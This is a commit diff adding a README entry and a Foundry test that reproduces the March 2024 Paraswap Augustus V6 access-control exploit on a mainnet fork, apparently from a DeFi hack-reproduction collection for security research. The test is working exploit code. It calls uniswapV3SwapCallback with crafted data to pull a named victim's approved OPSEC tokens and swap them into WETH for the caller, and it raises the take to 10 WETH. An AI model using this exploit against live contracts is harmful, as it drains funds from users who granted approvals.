Add Paraswap exp

README.md

@@ -2,7 +2,7 @@
 
 **Reproduce DeFi hack incidents using Foundry.**
 
-375 incidents included.
+376 incidents included.
 
 Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)
 
@@ -41,6 +41,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
 
 [20240321 SSS](#20240321-sss---token-balance-doubles-on-transfer-to-self)
 
+[20240320 Paraswap](#20240320-paraswap---incorrect-access-control)
+
 [20240314 MO](#20240314-mo---business-logic-flaw)
 
 [20240313 IT](#20240313-it---business-logic-flaw)
@@ -873,6 +875,24 @@ https://twitter.com/dot_pengun/status/1770989208125272481
 
 ---
 
+### 20240320 Paraswap - Incorrect Access Control
+
+### Lost: ~24K
+
+```
+forge test --contracts src/test/Paraswap_exp.sol -vvv --evm-version shanghai
+```
+
+#### Contract
+
+[Paraswap_exp.sol](src/test/Paraswap_exp.sol)
+
+#### Link reference
+
+https://medium.com/neptune-mutual/analysis-of-the-paraswap-exploit-1f97c604b4fe
+
+---
+
 ### 20240314 MO - business logic flaw
 
 ### Lost: ~413k USDT

src/test/Paraswap_exp.sol

@@ -0,0 +1,104 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.10;
+
+import "forge-std/Test.sol";
+import "./interface.sol";
+
+// @KeyInfo - Total Lost : ~$24K
+// Whitehat : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a
+// Whitehat Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0
+// Vuln Contract : https://etherscan.io/address/0x00000000fdac7708d0d360bddc1bc7d097f47439
+// Attack txs : https://phalcon.blocksec.com/explorer/tx/eth/0x35a73969f582872c25c96c48d8bb31c23eab8a49c19282c67509b96186734e60
+
+// @Analysis
+// https://medium.com/neptune-mutual/analysis-of-the-paraswap-exploit-1f97c604b4fe
+
+interface IParaSwapAugustusV6 {
+    function uniswapV3SwapCallback(
+        int256 amount0Delta,
+        int256 amount1Delta,
+        bytes memory data
+    ) external;
+}
+
+contract ContractTest is Test {
+    IERC20 private constant WETH =
+        IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
+    IERC20 private constant OPSEC =
+        IERC20(0x6A7eFF1e2c355AD6eb91BEbB5ded49257F3FED98);
+    IERC20 private constant wTAO =
+        IERC20(0x77E06c9eCCf2E797fd462A92B6D7642EF85b0A44);
+    IParaSwapAugustusV6 private constant AugustusV6 =
+        IParaSwapAugustusV6(0x00000000FdAC7708D0D360BDDc1bc7d097F47439);
+    // User who had provided approval for Augustus V6 contract
+    // Amount of OPSEC will be transferred from this user
+    address private constant from = 0x0cc396F558aAE5200bb0aBB23225aCcafCA31E27;
+
+    function setUp() public {
+        vm.createSelectFork("mainnet", 19470560);
+        vm.label(address(WETH), "WETH");
+        vm.label(address(OPSEC), "OPSEC");
+        vm.label(address(wTAO), "wTAO");
+        vm.label(address(AugustusV6), "AugustusV6");
+    }
+
+    function testExploit() public {
+        emit log_named_decimal_uint(
+            "Exploiter WETH balance before attack",
+            WETH.balanceOf(address(this)),
+            WETH.decimals()
+        );
+
+        emit log_named_decimal_uint(
+            "Victim OPSEC balance before attack",
+            OPSEC.balanceOf(from),
+            OPSEC.decimals()
+        );
+
+        emit log_named_decimal_uint(
+            "Victim approved OPSEC amount before attack",
+            OPSEC.allowance(from, address(AugustusV6)),
+            OPSEC.decimals()
+        );
+
+        // Amount0Delta negative value can be arbitrary up to 0
+        int256 amount0Delta = 0;
+        // In the attack tx 6_463_332_789_527_457_985 amount of WETH was transferred to the exploiter (frontran by whitehat)
+        // Let's try more -> 10 WETH
+        int256 amount1Delta = 10e18;
+        address to = address(this);
+        uint256 fee1 = 3_000;
+        uint256 fee2 = 10_000;
+        bytes32 encodedOPSECAddr = 0x8000000000000000000000006a7eff1e2c355ad6eb91bebb5ded49257f3fed98;
+        bytes memory data = abi.encode(
+            to,
+            from,
+            address(wTAO),
+            address(WETH),
+            fee1,
+            encodedOPSECAddr,
+            address(WETH),
+            fee2
+        );
+
+        AugustusV6.uniswapV3SwapCallback(amount0Delta, amount1Delta, data);
+
+        emit log_named_decimal_uint(
+            "Victim OPSEC balance after attack",
+            OPSEC.balanceOf(address(from)),
+            OPSEC.decimals()
+        );
+
+        emit log_named_decimal_uint(
+            "Victim approved OPSEC amount after attack",
+            OPSEC.allowance(from, address(AugustusV6)),
+            OPSEC.decimals()
+        );
+
+        emit log_named_decimal_uint(
+            "Exploiter WETH balance after attack",
+            WETH.balanceOf(address(this)),
+            WETH.decimals()
+        );
+    }
+}